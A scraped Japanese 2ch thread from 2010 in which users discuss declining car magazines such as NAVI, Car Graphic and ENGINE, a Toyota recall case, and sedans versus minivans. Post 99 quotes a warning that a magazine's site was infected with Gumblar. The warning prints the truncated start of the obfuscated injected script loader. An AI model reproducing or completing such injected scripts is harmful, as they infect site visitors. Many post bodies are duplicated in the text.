で，商売的にも続きはどれかなと購入せざるを得ない。(w
あの頃は本当に雑誌代がかかった。
今はたまに面白そうなテーマが掲載されているモータファン・イラストレーティッドや全てシリーズ位しか買ってないけどさ。
ENGINEあれはもはやファッション雑誌？
94 ：名無しさん＠そうだドライブへ行こう：2010/05/04(火) 22:09:11 ID:1yxM+dJ40
なんでいちいち『国産』『外車』と区切るのか解からない
95 ：名無しさん＠そうだドライブへ行こう：2010/05/04(火) 23:39:40 ID:nDqlKtPSO
96 ：名無しさん＠そうだドライブへ行こう：2010/05/05(水) 00:32:34 ID:Tv8lAAzh0
>>95
サイトーヒロユキ（齋藤浩之） 現ENGINE副編集長
サイトーヒロユキ（齋藤浩之） 現ENGINE副編集長
97 ：名無しさん＠そうだドライブへ行こう：2010/05/05(水) 04:16:04 ID:mty/b4C70
マサ・サイトー？
98 ：95：2010/05/05(水) 15:49:32 ID:d1eAPWAPO
>>96
Thx.
Thx.
99 ：名無しさん＠そうだドライブへ行こう：2010/05/05(水) 20:23:07 ID:+kRhZR+r0
「マガジンX」またまた自社ブログでウィルスばら撒き
831 ：名無しさん＠そうだドライブへ行こう：2010/05/04(火) 12:51:37 ID:Cc1LGf1n0
もし有料会員がいたら確認してもらいたいのだが、
http://www.mag-x.com/magx/nifty/charge/0412_1/index.html
http://www.mag-x.com/magx/nifty/charge/0412_2/index.html
これはガンブラーウイルスだよな？
末尾に下記のようなスクリプトが書き加えられているんだが
<script>/*Exception*/ document.write('<script src='+'h)t(!t(!)@p):$!^)/^$$/)!@@i@))#&n(($)t&)#e(#!l(!&-？c^#o^
831 ：名無しさん＠そうだドライブへ行こう：2010/05/04(火) 12:51:37 ID:Cc1LGf1n0
もし有料会員がいたら確認してもらいたいのだが、
http://www.mag-x.com/magx/nifty/charge/0412_1/index.html
http://www.mag-x.com/magx/nifty/charge/0412_2/index.html
これはガンブラーウイルスだよな？
末尾に下記のようなスクリプトが書き加えられているんだが
<script>/*Exception*/ document.write('<script src='+'h)t(!t(!)@p):$!^)/^$$/)!@@i@))#&n(($)t&)#e(#!l(!&-？c^#o^
100 ：名無しさん＠そうだドライブへ行こう：2010/05/07(金) 01:01:28 ID:EwzyCmVK0
【自動車】若者はもはや「クルマ離れ」ではなく「クルマ嫌い」になった（SAPIO）[10/05/06]
http://anchorage.2ch.net/test/read.cgi/bizplus/1273156237/
「まさかベンツのエンブレムもわからないなんて！」
彼女とデート中、暇つぶしの路上車種当てゲームで呆れられた本誌編集（28）。
そう、いま若者のクルマ離れが想像以上に進んでいる。
「『目的地に近づきました。案内を終了します』近頃、カーナビがそう告げる度、NAVIスタッフは落ち込む」
カー雑誌『NAVI』4月号にこう記されている。
84年に創刊された同誌はこの号をもって休刊になり、ここには「目的地はまだ先なのに」という思いが吐露されている。
発行元の二玄社によると広告・販売の低迷が理由だという。
このところ、日本においては自動車の販売が芳しくない。
日本自動車販売協会連合会発表の統計によれば、登録車（普通＋小型乗用車）の販売は、04 年の340万台から下降の一途で、
09年はエコカー減税の効果で後半に若干持ち直したが、結局、前年割れの264万台に留まった。
軽自動車も06年の202万台から下降に転じ、09年は169万台にまで落ち込んでいる。
日本の産業構造は自動車に大きく依存しているため、自動車不振の影響は周辺業界にも波及する。
最近は廃業したガソリンスタンドを見かけることが珍しくなくなった。
96年には約6万軒あったが、08年には約4万2000軒と3分の1が廃業している。
生き残っている企業も経営は苦しく、全国石油協会が08年に実施した経営実態調査によると、
営業利益ベースで赤字の企業は48.8%と半数を占める。
「セルフサービス化して従業員を減らすところが増えていますが、必ずしもうまくいくとは限らないのです」（全国石油商業組合・広報）
08年の石油高騰の傷跡は大きく、節約志向が広がっているので、揮発油税の暫定税率が廃止されても、あまり期待はできないという。
（以下ソースで）
http://news.nifty.com/cs/magazine/detail/sapio-20100506-01/1.htm
http://anchorage.2ch.net/test/read.cgi/bizplus/1273156237/
「まさかベンツのエンブレムもわからないなんて！」
彼女とデート中、暇つぶしの路上車種当てゲームで呆れられた本誌編集（28）。
そう、いま若者のクルマ離れが想像以上に進んでいる。
「『目的地に近づきました。案内を終了します』近頃、カーナビがそう告げる度、NAVIスタッフは落ち込む」
カー雑誌『NAVI』4月号にこう記されている。
84年に創刊された同誌はこの号をもって休刊になり、ここには「目的地はまだ先なのに」という思いが吐露されている。
発行元の二玄社によると広告・販売の低迷が理由だという。
このところ、日本においては自動車の販売が芳しくない。
日本自動車販売協会連合会発表の統計によれば、登録車（普通＋小型乗用車）の販売は、04 年の340万台から下降の一途で、
09年はエコカー減税の効果で後半に若干持ち直したが、結局、前年割れの264万台に留まった。
軽自動車も06年の202万台から下降に転じ、09年は169万台にまで落ち込んでいる。
日本の産業構造は自動車に大きく依存しているため、自動車不振の影響は周辺業界にも波及する。
最近は廃業したガソリンスタンドを見かけることが珍しくなくなった。
96年には約6万軒あったが、08年には約4万2000軒と3分の1が廃業している。
生き残っている企業も経営は苦しく、全国石油協会が08年に実施した経営実態調査によると、
営業利益ベースで赤字の企業は48.8%と半数を占める。
「セルフサービス化して従業員を減らすところが増えていますが、必ずしもうまくいくとは限らないのです」（全国石油商業組合・広報）
08年の石油高騰の傷跡は大きく、節約志向が広がっているので、揮発油税の暫定税率が廃止されても、あまり期待はできないという。
（以下ソースで）
http://news.nifty.com/cs/magazine/detail/sapio-20100506-01/1.htm
101 ：名無しさん＠そうだドライブへ行こう：2010/05/07(金) 21:40:05 ID:gQk/wfWx0
ルボラン以外は配管で結構
102 ：名無しさん＠そうだドライブへ行こう：2010/05/07(金) 23:16:18 ID:DqKdRAI70
プレイドライブみたいにメンバー向け通信配布になるのかｗ
ベストカーとかあと５年くらいはもつのかな
ベストカーとかあと５年くらいはもつのかな
103 ：名無しさん＠そうだドライブへ行こう：2010/05/08(土) 07:54:51 ID:P4qFBSIW0
104 ：名無しさん＠そうだドライブへ行こう：2010/05/08(土) 10:08:12 ID:H00EsVue0
カーボーイは、編集長が読者の8割をヘタレ扱いしてたって記事あったね。
105 ：名無しさん＠そうだドライブへ行こう：2010/05/08(土) 16:09:41 ID:j9ZGATOd0
>>103
＞値段があまりにも違い過ぎる。
車格が同じなんだから問題ない
ACJは過去にDセグ選手権でそれをやっている
相変わらず安全面での手抜きが多い国産車と
このドル安ユーロ安のなか値上げし続ける輸入車を
同じ土俵に上げることで各々の問題点を炙り出すことに意義がある
そこを区別すると結局仲良し倶楽部の提灯記事になるだけ(例：CG・ルボラン・MM)
＞値段があまりにも違い過ぎる。
車格が同じなんだから問題ない
ACJは過去にDセグ選手権でそれをやっている
相変わらず安全面での手抜きが多い国産車と
このドル安ユーロ安のなか値上げし続ける輸入車を
同じ土俵に上げることで各々の問題点を炙り出すことに意義がある
そこを区別すると結局仲良し倶楽部の提灯記事になるだけ(例：CG・ルボラン・MM)
106 ：名無しさん＠そうだドライブへ行こう：2010/05/08(土) 17:11:00 ID:P4qFBSIW0
>>105
まぁ，それは一理あるかな。
海外市場では関税である程度値段が同じになるからね。
但し，アコード，アテンザ，レガシィ等のDセグメントは輸入されるライバル車が
VWパサート，プジョー407，シトロエンC5位だからなぁ。
此処にオペル・イグニシアやフォード・モンデオが入ってくると楽しいけどさ。
確かにACJはDセグメント選手権で輸入車と国産車の比較はしている。
でも最終決戦以外は国産車と輸入車で分けていた様な気がする。
まぁ，今はインターネットの時代だし，私が日頃見ているレビューでも置いておきますか。
What Car?のfamily car(所謂Dセグメント。シュコダが評価されているのは個人的に嬉しい。)
http://www.whatcar.com/car-reviews/search?dimensionIds=368&dimensionIds=315
What Car?のcompact exective(BMW3シリーズやメルセデスベンツC，スカイライン，ISが入っている。)
http://www.whatcar.com/car-reviews/search?dimensionIds=368&dimensionIds=313
まぁ，それは一理あるかな。
海外市場では関税である程度値段が同じになるからね。
但し，アコード，アテンザ，レガシィ等のDセグメントは輸入されるライバル車が
VWパサート，プジョー407，シトロエンC5位だからなぁ。
此処にオペル・イグニシアやフォード・モンデオが入ってくると楽しいけどさ。
確かにACJはDセグメント選手権で輸入車と国産車の比較はしている。
でも最終決戦以外は国産車と輸入車で分けていた様な気がする。
まぁ，今はインターネットの時代だし，私が日頃見ているレビューでも置いておきますか。
What Car?のfamily car(所謂Dセグメント。シュコダが評価されているのは個人的に嬉しい。)
http://www.whatcar.com/car-reviews/search?dimensionIds=368&dimensionIds=315
What Car?のcompact exective(BMW3シリーズやメルセデスベンツC，スカイライン，ISが入っている。)
http://www.whatcar.com/car-reviews/search?dimensionIds=368&dimensionIds=313
107 ：名無しさん＠そうだドライブへ行こう：2010/05/09(日) 19:57:48 ID:HQfuPfIv0
カーボーイってブローした事に文句言えない奴が2chに書き込むってほざいた雑誌だな。
単なる広告塔に成り下がるってのは…車業界が堕ちてく証みたいだな。
単なる広告塔に成り下がるってのは…車業界が堕ちてく証みたいだな。
108 ：名無しさん＠そうだドライブへ行こう：2010/05/10(月) 01:19:43 ID:CoM3FbzE0
取材記事のふりしたショップ広告が増えてたなｗ
109 ：名無しさん＠そうだドライブへ行こう：2010/05/11(火) 16:50:14 ID:zWa+bNhF0
去年か一昨年、創刊されてあっという間に消えた雑誌ってなんだっけ？
確か創刊号の表紙はメルセデスで内容は豪華クルーザーとか
ライフスタイルも扱ってたバブリーな雑誌
確か創刊号の表紙はメルセデスで内容は豪華クルーザーとか
ライフスタイルも扱ってたバブリーな雑誌
110 ：名無しさん＠そうだドライブへ行こう：2010/05/11(火) 21:16:17 ID:+eHpFG480
二元社がカーグラの出版から撤退するってね
だれもカーグラ見てないのかよ
だれもカーグラ見てないのかよ
111 ：名無しさん＠そうだドライブへ行こう：2010/05/11(火) 22:01:38 ID:Qr6fRrUZ0
見てるよ
たまに立ち読みで
たまに立ち読みで
112 ：名無しさん＠そうだドライブへ行こう：2010/05/11(火) 23:39:50 ID:vWd3zROD0
トヨタに新たな制裁金か ０５年リコール巡り、米が調査
トヨタ自動車が２００５年に実施した小型トラック「ハイラックス」関連車のリコール（回収・無償修理）をめぐり、
同社の対応が遅れていなかったかどうか、本格調査に入ったと発表した。
米運輸省関係者は朝日新聞の取材に「新たな制裁金を科す可能性がある」と説明した。
http://www.asahi.com/business/update/0511/TKY201005110215.html
これ熊本県警に家宅捜索された事件だよね？
送検されたのに、元検事総長が天下りしてきて1ヵ月後に不起訴になった事件。
2004年8月12日 ハイラックスサーフが対向車線にはみ出し対向車と衝突事故。
2004年10月 ハイラックスサーフ リコール
2005年8月 熊本県警がトヨタ本社を家宅捜索や事情聴取
押収資料を県警が分析した結果、96年頃の社内調査で強度不足が判明。
新規生産分は改良品に切り替え。市場に出回った分は放置。
2006年7月 業務上過失傷害の疑いで同社品質保証部門の歴代三部長を書類送検。
2006年7月21日 国土交通省がトヨタに業務改善を指示。
http://www.komazawa-u.ac.jp/~kobamasa/reference/news/news02/tyt_recall0607.pdf
＊＊ 2007年6月 松 尾 邦 弘 元 検 事 総 長 トヨタ自動車株式会社社外監査役就任 ＊＊
http://ja.wikipedia.org/wiki/%E6%9D%BE%E5%B0%BE%E9%82%A6%E5%BC%98
＊＊ 2007年7月13日 熊本地検不起訴決定 ＊＊
misawa-toyota.jp-j.com/?eid=751555
http://www.unkar.org/read/news24.2ch.net/news2/1184581598
アメリカで調べるんだ。
96年頃の社内調査で強度不足をトヨタが知ってた事を示す書類を押収した熊本県警に話を聞くよう
潰れた雑誌の編集者は、米大使館、ABCテレビ、ロサンゼルスタイムスに連絡してやれよｗｗｗ
トヨタ自動車が２００５年に実施した小型トラック「ハイラックス」関連車のリコール（回収・無償修理）をめぐり、
同社の対応が遅れていなかったかどうか、本格調査に入ったと発表した。
米運輸省関係者は朝日新聞の取材に「新たな制裁金を科す可能性がある」と説明した。
http://www.asahi.com/business/update/0511/TKY201005110215.html
これ熊本県警に家宅捜索された事件だよね？
送検されたのに、元検事総長が天下りしてきて1ヵ月後に不起訴になった事件。
2004年8月12日 ハイラックスサーフが対向車線にはみ出し対向車と衝突事故。
2004年10月 ハイラックスサーフ リコール
2005年8月 熊本県警がトヨタ本社を家宅捜索や事情聴取
押収資料を県警が分析した結果、96年頃の社内調査で強度不足が判明。
新規生産分は改良品に切り替え。市場に出回った分は放置。
2006年7月 業務上過失傷害の疑いで同社品質保証部門の歴代三部長を書類送検。
2006年7月21日 国土交通省がトヨタに業務改善を指示。
http://www.komazawa-u.ac.jp/~kobamasa/reference/news/news02/tyt_recall0607.pdf
＊＊ 2007年6月 松 尾 邦 弘 元 検 事 総 長 トヨタ自動車株式会社社外監査役就任 ＊＊
http://ja.wikipedia.org/wiki/%E6%9D%BE%E5%B0%BE%E9%82%A6%E5%BC%98
＊＊ 2007年7月13日 熊本地検不起訴決定 ＊＊
misawa-toyota.jp-j.com/?eid=751555
http://www.unkar.org/read/news24.2ch.net/news2/1184581598
アメリカで調べるんだ。
96年頃の社内調査で強度不足をトヨタが知ってた事を示す書類を押収した熊本県警に話を聞くよう
潰れた雑誌の編集者は、米大使館、ABCテレビ、ロサンゼルスタイムスに連絡してやれよｗｗｗ
113 ：名無しさん＠そうだドライブへ行こう：2010/05/12(水) 00:36:17 ID:hifsl41j0
114 ：名無しさん＠そうだドライブへ行こう：2010/05/12(水) 05:24:14 ID:e5dkgY1L0
カーグラは見ることはあっても
買うことはない。
自分の車の特集くんでるときだけ買った。
買うことはない。
自分の車の特集くんでるときだけ買った。
115 ：名無しさん＠そうだドライブへ行こう：2010/05/12(水) 15:50:27 ID:vtdhB1BP0
発売日から半月たってニュースが話題になるって。
116 ：名無しさん＠そうだドライブへ行こう：2010/05/12(水) 20:50:55 ID:LYBa2wIA0
カーグラは知性が無いと読んでも理解できないから
117 ：名無しさん＠そうだドライブへ行こう：2010/05/12(水) 21:11:08 ID:V/3FtOsm0
カーグラもNAVIも90年代前半で定期購読やめたな
行政の怠慢がうんたら、政府は○○をしていない！的な、
学生運動くずれ風の記事が入ってきて読む気が失せた。
行政の怠慢がうんたら、政府は○○をしていない！的な、
学生運動くずれ風の記事が入ってきて読む気が失せた。
118 ：名無しさん＠そうだドライブへ行こう：2010/05/12(水) 21:29:45 ID:VraxYyfl0
車の雑誌ってそういうところ多いじゃん
マガジンxとか
カーグラは古ければ古いほど面白い
90年代からは欧州マンセーばっかりでつまんね。
マガジンxとか
カーグラは古ければ古いほど面白い
90年代からは欧州マンセーばっかりでつまんね。
119 ：名無しさん＠そうだドライブへ行こう：2010/05/13(木) 06:13:47 ID:zJzQ9cuo0
120 ：名無しさん＠そうだドライブへ行こう：2010/05/13(木) 10:59:18 ID:O9s+y6Ip0
>>118
>カーグラは古ければ古いほど面白い
そうだな。今はなき月刊ASCIIも、古いのは面白かったもんな。
要は、対象とするテーマが黎明期だったり発展途上の時、メディアも読者も熱く盛り上がるってこった。
そう考えると、クルマの雑誌はもう趣味制の高いジャンルに絞ってマニア相手に細々と存続をはかるしかない。航空雑誌や鉄道雑誌と同じくらいの市場規模まで落ちるんじゃないか。
でも、こういうメディアには広告は入らないから、ますます経営は厳しくなりそう。
>カーグラは古ければ古いほど面白い
そうだな。今はなき月刊ASCIIも、古いのは面白かったもんな。
要は、対象とするテーマが黎明期だったり発展途上の時、メディアも読者も熱く盛り上がるってこった。
そう考えると、クルマの雑誌はもう趣味制の高いジャンルに絞ってマニア相手に細々と存続をはかるしかない。航空雑誌や鉄道雑誌と同じくらいの市場規模まで落ちるんじゃないか。
でも、こういうメディアには広告は入らないから、ますます経営は厳しくなりそう。
121 ：名無しさん＠そうだドライブへ行こう：2010/05/13(木) 12:48:04 ID:OAJQ9/d80
ガレージライフとかが成り立ってんだから金持ちの趣味にシフトして貧乏人なんか相手にされなくなるかね
122 ：名無しさん＠そうだドライブへ行こう：2010/05/13(木) 13:09:48 ID:emu6Vsn1P
>>109
月刊C(シー)ってやつかな
ベントレー特集の時は買った
自分はNAVIはたまに買ってた
ああいうバブルの頃みたいなオサレ気取りの金持ち雑誌は好き
自分は高級車にしか興味ないから
今はそういう路線はゲンロクとエンジンしかないな
ただ、カーグラは買ってない
クソ真面目な雰囲気で読む気にならない
バブルの頃のカーグラを古本屋で買ったら面白かった
月刊C(シー)ってやつかな
ベントレー特集の時は買った
自分はNAVIはたまに買ってた
ああいうバブルの頃みたいなオサレ気取りの金持ち雑誌は好き
自分は高級車にしか興味ないから
今はそういう路線はゲンロクとエンジンしかないな
ただ、カーグラは買ってない
クソ真面目な雰囲気で読む気にならない
バブルの頃のカーグラを古本屋で買ったら面白かった
123 ：名無しさん＠そうだドライブへ行こう：2010/05/13(木) 14:07:37 ID:lUPnH0FG0
下等ＣＧなんて早く父さんしろ！ 買わないのが一番効くからな。
124 ：名無しさん＠そうだドライブへ行こう：2010/05/14(金) 05:47:43 ID:2Lso5kZh0
>>109
オンリーメルセデスってまだあったっけ？以前はコンビニでも扱っていたんだが。
オンリーメルセデスってまだあったっけ？以前はコンビニでも扱っていたんだが。
125 ：名無しさん＠そうだドライブへ行こう：2010/05/14(金) 16:29:33 ID:NjD5G+U00
むかしベンツのムック本で
ヤクザに見えるベンツの乗り方ってのを何ページも使って解説してた奴が有ったな。
小指を折り曲げてないように見せかけるやりかたとか書いてあって吹いた。
あれは今考えると買っておくべきだったと思う。
ヤクザに見えるベンツの乗り方ってのを何ページも使って解説してた奴が有ったな。
小指を折り曲げてないように見せかけるやりかたとか書いてあって吹いた。
あれは今考えると買っておくべきだったと思う。
126 ：名無しさん＠そうだドライブへ行こう：2010/05/19(水) 23:07:02 ID:I1Mv8DB80
127 ：名無しさん＠そうだドライブへ行こう：2010/05/21(金) 11:09:11 ID:DQfJbRO30
組んでも売れない自動車雑誌ｗ
128 ：名無しさん＠そうだドライブへ行こう：2010/05/21(金) 14:38:19 ID:xfQTz11w0
http://www.j-magazine.or.jp/magdata/?module=list&action=list
このサイトでちょっとENGINEの部数みてみたら33,500部しかなくて
ワラタ
このサイトでちょっとENGINEの部数みてみたら33,500部しかなくて
ワラタ
129 ：名無しさん＠そうだドライブへ行こう：2010/05/21(金) 15:58:38 ID:DQfJbRO30
やっぱ時計の広告が主な収入かｗ
130 ：名無しさん＠そうだドライブへ行こう：2010/05/21(金) 23:13:27 ID:fIVAP6zv0
先月号のカーボーイで言い訳やってたな、1～2割除いてヘタレ扱いした件の。
131 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 04:42:07 ID:wSVoITRI0
132 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 06:15:25 ID:8utbX/bv0
>>130
ｋｗｓｋ
ｋｗｓｋ
133 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 06:30:37 ID:5VLqLsyi0
134 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 06:45:37 ID:dGOmeCx10
>>133
いや別にいいんじゃないの？自動車雑誌って、2chで言ったら車メ板なネタばかりで
車板的なネタが無さ過ぎるよ。廃刊したNAVIの初期はそんな雑誌だったけどね。
原点回帰したNAVI最終号が完売したのは決して香典代わりだけじゃないと思う。
そういう物も求められているんだよ。
いや別にいいんじゃないの？自動車雑誌って、2chで言ったら車メ板なネタばかりで
車板的なネタが無さ過ぎるよ。廃刊したNAVIの初期はそんな雑誌だったけどね。
原点回帰したNAVI最終号が完売したのは決して香典代わりだけじゃないと思う。
そういう物も求められているんだよ。
135 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 06:49:09 ID:8lguPLTT0
136 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 07:23:32 ID:5VLqLsyi0
>>134
NAVI最終号も決して原点回帰したわけではない
最後だから今まで出演したゲストに総括を求めただけで
初期のNAVIってのはもっと軽かった
鈴木が雨の日のモーガンの信号待ちでも幌かぶせずに傘差してる
そういう遊び心満載の雑誌だった
NAVI最終号も決して原点回帰したわけではない
最後だから今まで出演したゲストに総括を求めただけで
初期のNAVIってのはもっと軽かった
鈴木が雨の日のモーガンの信号待ちでも幌かぶせずに傘差してる
そういう遊び心満載の雑誌だった
137 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 07:57:23 ID:AS0SqazC0
結局、ヲタ化し過ぎると鬱陶しいだけと言う事だ。
138 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 08:44:20 ID:dGOmeCx10
>>136
鈴木NAVIは中期だろ。
鈴木NAVIは中期だろ。
139 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 22:23:12 ID:Ec4A3Sxx0
140 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 22:25:11 ID:Ec4A3Sxx0
141 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 22:59:45 ID:Hg0Su8/c0
>>140
1～2割除いてヘタレって編集長が公言する業界でか？ お前ってクズ？
1～2割除いてヘタレって編集長が公言する業界でか？ お前ってクズ？
142 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 23:00:38 ID:JHV5yQd50
>>139
バブル期は今以上に渋滞が酷かったが
もっと高級で速い車が山ほど売れてた
要は金の問題だよ
それに公道走ってみ
飛ばしてるミニバンはいくらでもいるから
箱型車の性能も飛躍的に向上したということだ
>>140
スポンサーがつかなくなった
それだけのこと
バブル期は今以上に渋滞が酷かったが
もっと高級で速い車が山ほど売れてた
要は金の問題だよ
それに公道走ってみ
飛ばしてるミニバンはいくらでもいるから
箱型車の性能も飛躍的に向上したということだ
>>140
スポンサーがつかなくなった
それだけのこと
143 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 23:35:56 ID:/v8IGGfR0
>強いものには巻かれろ的な、体制に媚びているようじゃねぇ
http://namidame.2ch.net/test/read.cgi/car/1257733373/l50
http://namidame.2ch.net/test/read.cgi/car/1257733373/l50
144 ：名無しさん＠そうだドライブへ行こう：2010/05/22(土) 23:56:48 ID:46oZ+zLX0
欧州に比べたら日本の街並ってスラムだもんね。
まともな道路なんか作れない
まともな道路なんか作れない
145 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 00:10:02 ID:ZNklgUlT0
>>141
まぁ、実際ヘタレばかりだけどなｗ
まぁ、実際ヘタレばかりだけどなｗ
146 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 01:54:02 ID:nCg2Wcah0
147 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 02:09:00 ID:3D3aI5ZC0
道路なんか増えても大して変わらん
便利になったと今まで車利用を控えてた連中が使い出すだけ
東京一極集中を何とかしないとどうにもならん
便利になったと今まで車利用を控えてた連中が使い出すだけ
東京一極集中を何とかしないとどうにもならん
148 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 02:47:39 ID:aOQp0D0n0
セダンなんて後部座席まともに座れないようなのばっかりだからな
ミニバンに流れるのはしかたないよ。 便利なんだもん
ミニバンに流れるのはしかたないよ。 便利なんだもん
149 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 10:34:20 ID:80DE4y1C0
今の車より人を乗せられて荷物も積めて便利ですよと
セールスとしては迷ってる客に売り易いからな、ミニバン。
そうしてまたセダンが減りミニバンが増える。
セールスとしては迷ってる客に売り易いからな、ミニバン。
そうしてまたセダンが減りミニバンが増える。
150 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 12:23:54 ID:yWk4RZ3f0
ヨーロッパはセダンイコール高級という歴史を作ってきた
張本人だからやはりセダンは絶滅することはない。
長時間くつをはいたまま椅子に座る文化なのか、日本のようにミニバンの中でごろ寝文化なのかの違いだわな。
張本人だからやはりセダンは絶滅することはない。
長時間くつをはいたまま椅子に座る文化なのか、日本のようにミニバンの中でごろ寝文化なのかの違いだわな。
151 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 12:57:34 ID:jPxumWt70
アメリカも西洋文化圏だが、SUV&ミニバンが主流だ
アメリカの場合は複数台所有が当たり前だから
セダンやクーペも生き残ってるけど
やはり使い方の違いだろう
アメリカの場合は複数台所有が当たり前だから
セダンやクーペも生き残ってるけど
やはり使い方の違いだろう
152 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 13:00:34 ID:L3LHlxpn0
アメリカをひとくくりに論じているところが馬鹿過ぎる。
典型的な世間知らずだな
典型的な世間知らずだな
153 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 19:26:36 ID:Og3wj7f80
無くなりはしないだろうけど、セダンがメインってのは
発展途上国レベルなんだよな。
発展途上国レベルなんだよな。
154 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 22:05:55 ID:jsisRF4a0
多様化の時代だし車にも個性を求める時代だし
155 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 22:39:04 ID:yWk4RZ3f0
荷物と人間様が同じ空間にいるというのは
高級車ではありえないこと。
だから３ボックスセダンは高級であると三本氏。
高級車ではありえないこと。
だから３ボックスセダンは高級であると三本氏。
156 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 22:54:17 ID:pwM2f5c20
三本さん幾つだよ
自動車ジャーナリストの評価がクルマの価値云々を決めるなんて言うのは過去モノっぽい
自動車ジャーナリストの評価がクルマの価値云々を決めるなんて言うのは過去モノっぽい
157 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 22:56:13 ID:R9jkig3s0
もう高級SUVが市民権を得てる時代だからな
元々車は2BOXから始まったんだし
元々車は2BOXから始まったんだし
158 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 23:00:58 ID:80DE4y1C0
159 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 23:04:26 ID:yWk4RZ3f0
ベンツなんかでもステーションワゴンとセダン乗り比べると
やっぱりセダンのほうが後ろからの雑音が入ってこないから
静粛性や剛性や安全性や車の重心などの利点でしっとりして
クオリティが高いことを痛感した。
やっぱりセダンのほうが後ろからの雑音が入ってこないから
静粛性や剛性や安全性や車の重心などの利点でしっとりして
クオリティが高いことを痛感した。
160 ：名無しさん＠そうだドライブへ行こう：2010/05/23(日) 23:10:56 ID:yWk4RZ3f0
ヨーロッパの超高級車はすべて３ボックスだよ。
べつに三本さんが言い始めたことじゃないってのｗ
歴史はもっともっと深い。
ロールスロイス、マイバッハ、メルセデスＳなどなど。
メルセデスはＳクラスを作りたいためにいろんな大衆向けパッケージの車を
作って商売してるメーカーといって過言ではないくらいＳクラスの作りこみ
は別格。Ｓクラスには貨物車のステーションワゴンとかの設定すらないから。
べつに三本さんが言い始めたことじゃないってのｗ
歴史はもっともっと深い。
ロールスロイス、マイバッハ、メルセデスＳなどなど。
メルセデスはＳクラスを作りたいためにいろんな大衆向けパッケージの車を
作って商売してるメーカーといって過言ではないくらいＳクラスの作りこみ
は別格。Ｓクラスには貨物車のステーションワゴンとかの設定すらないから。
自動車雑誌とパチンコ雑誌は、経営統合すべき。
社名は「斜陽出版」で。
社名は「斜陽出版」で。
162 ：名無しさん＠そうだドライブへ行こう：2010/05/24(月) 09:58:54 ID:tC8GEoXR0
メルセデスはＳクラスを作りたいためにいろんな大衆向けパッケージの車を
作って商売してるメーカーといって過言ではないくらいＳクラスの作りこみ
は別格。
どなたか日本語に翻訳お願い致します。
作って商売してるメーカーといって過言ではないくらいＳクラスの作りこみ
は別格。
どなたか日本語に翻訳お願い致します。
163 ：名無しさん＠そうだドライブへ行こう：2010/05/24(月) 10:31:24 ID:jho0uRO90
「ぼくはSくらすがほしいけど けいじどうしゃすらかえない」じゃね？
164 ：名無しさん＠そうだドライブへ行こう：2010/05/24(月) 11:52:16 ID:BgQvqHSC0
cannot help ～ing じゃね？
165 ：名無しさん＠そうだドライブへ行こう：2010/05/24(月) 14:46:31 ID:KLTyXuhp0
普通の車だとセダンは後部座席に座ると狭くてつらい。
166 ：名無しさん＠そうだドライブへ行こう：2010/05/24(月) 22:25:30 ID:KmRJEmNPP
乗らないからどうでもいい
167 ：名無しさん＠そうだドライブへ行こう：2010/05/26(水) 00:08:44 ID:5hlHvx7k0
>>143
前回のウイルスばら撒きも
MAG-Xスレで騒ぎになったから渋々認めたって感じだし。
スクープ情報提供者が警察に逮捕されたなんて話は
嬉々としてブログに書くくせに、
能書きだけは一丁前で、
中の人の都合が悪い件は全部隠蔽。
前回のウイルスばら撒きも
MAG-Xスレで騒ぎになったから渋々認めたって感じだし。
スクープ情報提供者が警察に逮捕されたなんて話は
嬉々としてブログに書くくせに、
能書きだけは一丁前で、
中の人の都合が悪い件は全部隠蔽。
168 ：名無しさん＠そうだドライブへ行こう：2010/05/26(水) 19:27:43 ID:CS1HPCvA0
最近ROSSOが酷いね
特に今月号はGENROQが充実してる分
余計に感じるわ
特に今月号はGENROQが充実してる分
余計に感じるわ
169 ：名無しさん＠そうだドライブへ行こう：2010/05/26(水) 21:04:46 ID:sBrHMvVN0
>>167
MAG-Xの事は中華パクリ車をデミオMCと大々的にやった時点で全く信用してないわｗ
MAG-Xの事は中華パクリ車をデミオMCと大々的にやった時点で全く信用してないわｗ
170 ：名無しさん＠そうだドライブへ行こう：2010/05/27(木) 02:45:29 ID:jEFiaK1L0
Car and Driverも、紙質がやや低下しているし、
印字の色がものすごく薄くなっていてびっくりした。
印字の色がものすごく薄くなっていてびっくりした。
171 ：名無しさん＠そうだドライブへ行こう：2010/05/27(木) 03:54:14 ID:HsexggR70
ttp://www.tbsradio.jp/life/2010/05/523.html
若者が車を買わなくなった、と言われています。
実際には消費全体が全世代で落ち込んでいること、特に都市部での交通網の
発達などが原因だと言われていますが、「クルマ」にある種の夢とあこがれを
持っていた世代には、「別にクルマなんて必要ないし」という価値観そのものが、
異星人の考え方のようです。
とはいえ、大学生がクルマに乗って友達と遊びに行ったり、彼女とドライブデート
するのが当たり前、みたいに思われていた当時の新人類も、上の世代からは
「異星人」扱いされていたわけですが。
個人として乗りたいかどうかは別として、これから高齢化が進むと、ドライバーの
あり方も見直さないと行けなくなりますし、モータリゼーションを前提に構築されて
きた様々なインフラや雇用も、変化に直面することになります。
今は賑わっているかもしれませんが、たとえば地方のサービスエリアの雇用って、
